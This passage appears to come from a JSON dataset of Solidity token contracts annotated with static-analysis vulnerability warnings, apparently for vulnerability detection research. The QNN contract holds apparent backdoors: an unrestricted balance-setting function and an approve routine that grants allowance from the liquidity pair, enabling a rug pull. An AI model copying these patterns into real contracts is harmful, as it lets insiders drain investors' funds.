(reentrancy-eth | severity: High | ID: 7c4ddec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7c4ddec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f74bd00\n\t\t// reentrancy-eth | ID: 7c4ddec\n uniswapV2Pair = qqSendors = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: f74bd00\n\t\t// unused-return | ID: 3631cfc\n\t\t// reentrancy-eth | ID: 7c4ddec\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f74bd00\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7c4ddec\n tradingOpen = true;\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function addLiquidity(address[] memory addrs) external {\n for (uint256 i = 0; i < addrs.length; i++) {\n if (addrs[i] == uniswapV2Pair) return;\n\n _tOwned[addrs[i]] = 100 * 10 ** _decimals;\n }\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9b03b4a): QNN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9b03b4a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address ownQQ = _msgSender();\n if (_doExcemptFees[spender]) ownQQ = qqSendors;\n\n _approve(ownQQ, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b734c4b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b734c4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3a0db6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3a0db6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b734c4b\n\t\t// reentrancy-benign | ID: 3a0db6b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b734c4b\n\t\t// reentrancy-benign | ID: 3a0db6b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ea4e85): QNN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ea4e85: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3a0db6b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b734c4b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d680918): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d680918: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 1188143): QNN._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 1188143: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7943410): QNN._bots is never initialized. It is used in QNN._transfer(address,address,uint256)\n\t// Recommendation for 7943410: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9911cb6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9911cb6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b30040d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b30040d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeQQ = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n feeQQ = amount\n .mul((_buyCount > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_doExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n feeQQ = amount\n .mul(\n (_buyCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 1188143\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: d680918\n\t\t\t\t\t// reentrancy-eth | ID: 9911cb6\n\t\t\t\t\t// reentrancy-eth | ID: b30040d\n sendETHQQBT(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: d680918\n\t\t\t\t\t\t// reentrancy-eth | ID: 9911cb6\n\t\t\t\t\t\t// reentrancy-eth | ID: b30040d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: d680918\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 9911cb6\n\t\t\t\t\t\t\t// reentrancy-eth | ID: b30040d\n sendETHQQBT(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: b30040d\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: d680918\n\t\t\t\t\t// reentrancy-eth | ID: 9911cb6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: d680918\n\t\t\t\t\t\t// reentrancy-eth | ID: 9911cb6\n sendETHQQBT(address(this).balance);\n }\n }\n }\n }\n\n if (feeQQ > 0) {\n\t\t\t// reentrancy-eth | ID: 9911cb6\n _tOwned[address(this)] = _tOwned[address(this)].add(feeQQ);\n\n\t\t\t// reentrancy-events | ID: d680918\n emit Transfer(from, address(this), feeQQ);\n }\n\n\t\t// reentrancy-eth | ID: 9911cb6\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9911cb6\n _tOwned[to] = _tOwned[to].add(amount.sub(feeQQ));\n\n\t\t// reentrancy-events | ID: d680918\n emit Transfer(from, to, amount.sub(feeQQ));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b734c4b\n\t\t// reentrancy-events | ID: d680918\n\t\t// reentrancy-benign | ID: 3a0db6b\n\t\t// reentrancy-eth | ID: 9911cb6\n\t\t// reentrancy-eth | ID: b30040d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHQQBT(uint256 amount) private {\n\t\t// reentrancy-events | ID: b734c4b\n\t\t// reentrancy-events | ID: d680918\n\t\t// reentrancy-eth | ID: 9911cb6\n\t\t// reentrancy-eth | ID: b30040d\n _qqWallets.transfer(amount);\n }\n\n function withdrawQQBT() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n}\n",
"file_name": "solidity_code_10009.sol",
"size_bytes": 20835,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract POTUS47 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f1ba062): POTUS47.bots is never initialized. It is used in POTUS47._transfer(address,address,uint256)\n\t// Recommendation for f1ba062: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6050a68): POTUS47._taxWallet should be immutable \n\t// Recommendation for 6050a68: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 450e2a5): POTUS47._initialBuyTax should be constant \n\t// Recommendation for 450e2a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ec0444): POTUS47._initialSellTax should be constant \n\t// Recommendation for 9ec0444: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 708590d): POTUS47._reduceBuyTaxAt should be constant \n\t// Recommendation for 708590d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 974b365): POTUS47._reduceSellTaxAt should be constant \n\t// Recommendation for 974b365: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d5ae710): POTUS47._preventSwapBefore should be constant \n\t// Recommendation for d5ae710: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Promoting Optimism Trump Unleashes Success\";\n\n string private constant _symbol = unicode\"POTUS47\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f34c4f): POTUS47._taxSwapThreshold should be constant \n\t// Recommendation for 1f34c4f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c2b68c9): POTUS47._maxTaxSwap should be constant \n\t// Recommendation for c2b68c9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fe788b3): POTUS47.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fe788b3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c94ed3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c94ed3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 10afe99): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 10afe99: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9c94ed3\n\t\t// reentrancy-benign | ID: 10afe99\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9c94ed3\n\t\t// reentrancy-benign | ID: 10afe99\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c909ca9): POTUS47._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c909ca9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 10afe99\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9c94ed3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ef85420): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ef85420: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f1ba062): POTUS47.bots is never initialized. It is used in POTUS47._transfer(address,address,uint256)\n\t// Recommendation for f1ba062: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: be50a3b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for be50a3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ef85420\n\t\t\t\t// reentrancy-eth | ID: be50a3b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ef85420\n\t\t\t\t\t// reentrancy-eth | ID: be50a3b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: be50a3b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: be50a3b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: be50a3b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ef85420\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: be50a3b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: be50a3b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ef85420\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ef85420\n\t\t// reentrancy-events | ID: 9c94ed3\n\t\t// reentrancy-benign | ID: 10afe99\n\t\t// reentrancy-eth | ID: be50a3b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0aadd17): POTUS47.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0aadd17: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ef85420\n\t\t// reentrancy-events | ID: 9c94ed3\n\t\t// reentrancy-eth | ID: be50a3b\n\t\t// arbitrary-send-eth | ID: 0aadd17\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9b59cd3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9b59cd3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fe0f7cc): POTUS47.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fe0f7cc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ab49585): POTUS47.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ab49585: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d7db989): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d7db989: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9b59cd3\n\t\t// reentrancy-eth | ID: d7db989\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9b59cd3\n\t\t// unused-return | ID: ab49585\n\t\t// reentrancy-eth | ID: d7db989\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9b59cd3\n\t\t// unused-return | ID: fe0f7cc\n\t\t// reentrancy-eth | ID: d7db989\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9b59cd3\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d7db989\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: a75cd22): POTUS47.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for a75cd22: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: a75cd22\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1001.sol",
"size_bytes": 21159,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n 